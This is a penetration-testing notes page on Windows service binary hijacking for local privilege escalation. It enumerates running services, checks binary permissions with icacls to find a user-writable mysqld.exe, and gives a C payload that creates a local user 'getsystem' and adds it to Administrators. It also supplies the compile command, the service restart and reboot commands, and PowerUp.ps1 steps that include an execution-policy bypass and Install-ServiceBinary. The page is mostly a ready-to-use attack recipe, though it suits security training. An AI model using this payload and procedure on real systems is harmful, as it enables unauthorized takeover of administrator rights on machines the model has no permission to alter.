# Service Binary Hijacking

We start PowerShell and choose **Get-CimInstance** to query the WMI class **win32\_service**. We are interested in the name, state, and path of the binaries for each service and therefore, use Select with the arguments **Name**, State, and **PathName**. In addition, we filter out any services that are not in a Running state by using **Where-Object.**

#### When using a network logon such as WinRM or a bind shell, Get-CimInstance and Get-Service will result in a "permission denied" error when querying for services with a non-administrative user. Using an interactive logon such as RDP solves this problem.

```powershell
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'} 
```

```powershell
PS C:\Users\root> Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}                                                      
Name                         State   PathName
----                         -----   --------
AppXSvc                      Running C:\Windows\system32\svchost.exe -k wsappx -p
AudioEndpointBuilder         Running C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p
Audiosrv                     Running C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
BFE                          Running C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
BrokerInfrastructure         Running C:\Windows\system32\svchost.exe -k DcomLaunch -p
BTAGService                  Running C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
BthAvctpSvc                  Running C:\Windows\system32\svchost.exe -k LocalService -p
bthserv                      Running C:\Windows\system32\svchost.exe -k LocalService -p
camsvc                       Running C:\Windows\system32\svchost.exe -k appmodel -p
CDPSvc                       Running C:\Windows\system32\svchost.exe -k LocalService -p
ClipSVC                      Running C:\Windows\System32\svchost.exe -k wsappx -p
COMSysApp                    Running C:\Windows\system32\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}
CoreMessagingRegistrar       Running C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
CryptSvc                     Running C:\Windows\system32\svchost.exe -k NetworkService -p
```

### icacls AND Get-ACL

Mask Permissions :

F Full access&#x20;

M Modify access

RX Read and execute access&#x20;

R Read-only access&#x20;

W Write-only access

```powershell
PS C:\Users\root> icacls C:\Windows\system32\svchost.exe                                                                                                                               C:\Windows\system32\svchost.exe NT SERVICE\TrustedInstaller:(F)
                                BUILTIN\Administrators:(RX)
                                NT AUTHORITY\SYSTEM:(RX)
                                BUILTIN\Users:(RX)
                                APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX)
                                APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(RX)

Successfully processed 1 files; Failed processing 0 files



PS C:\Users\root> get-acl C:\Windows\system32\svchost.exe


    Directory: C:\Windows\system32


Path        Owner                       Access
----        -----                       ------
svchost.exe NT SERVICE\TrustedInstaller NT AUTHORITY\SYSTEM Allow  ReadAndExecute, Synchronize...


```

### Example

<pre class="language-powershell"><code class="lang-powershell">PS C:\Users\root> icacls "C:\xampp\mysql\bin\mysqld.exe"
C:\xampp\mysql\bin\mysqld.exe   NT AUTHORITY\SYSTEM:(F)
                                BUILTIN\Administrators:(F)
                               <a data-footnote-ref href="#user-content-fn-1"> BUILTIN\Users:(F)</a>
Successfully processed 1 files; Failed processing 0 files
</code></pre>

### Example Payload

```c
#include <stdlib.h>
int main ()
{
 int i;
 
 i = system ("net user getsystem getsystem /add");
 i = system ("net localgroup administrators getsystem /add");
 
 return 0;
}
```

`x86_64-w64-mingw32-gcc adduser.c -o adduser.exe`&#x20;

### Example&#x20;

```
net stop mysql
sc start mysql
sc qc mysql


PS C:\Users\root> Get-CimInstance -ClassName win32_service | Select Name, StartMode |Where-Object {$_.Name -like 'mysql'}
```

**`shutdown /r /t 0`**

### Using PowerUp.ps1

```powershell
PS C:\Users\root> powershell -ep bypass

PS C:\Users\root> . .\PowerUp.ps1

PS C:\Users\root> Invoke-AllChecks
or
PS C:\Users\root> Get-ModifiableServiceFile

PS C:\Users\root> Install-ServiceBinary -Name 'mysql'
or
PS C:\Users\root> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe' | Get-ModifiablePath -Literal
PS C:\Users\root> $ModifiableFiles

```

[^1]: File Permisson
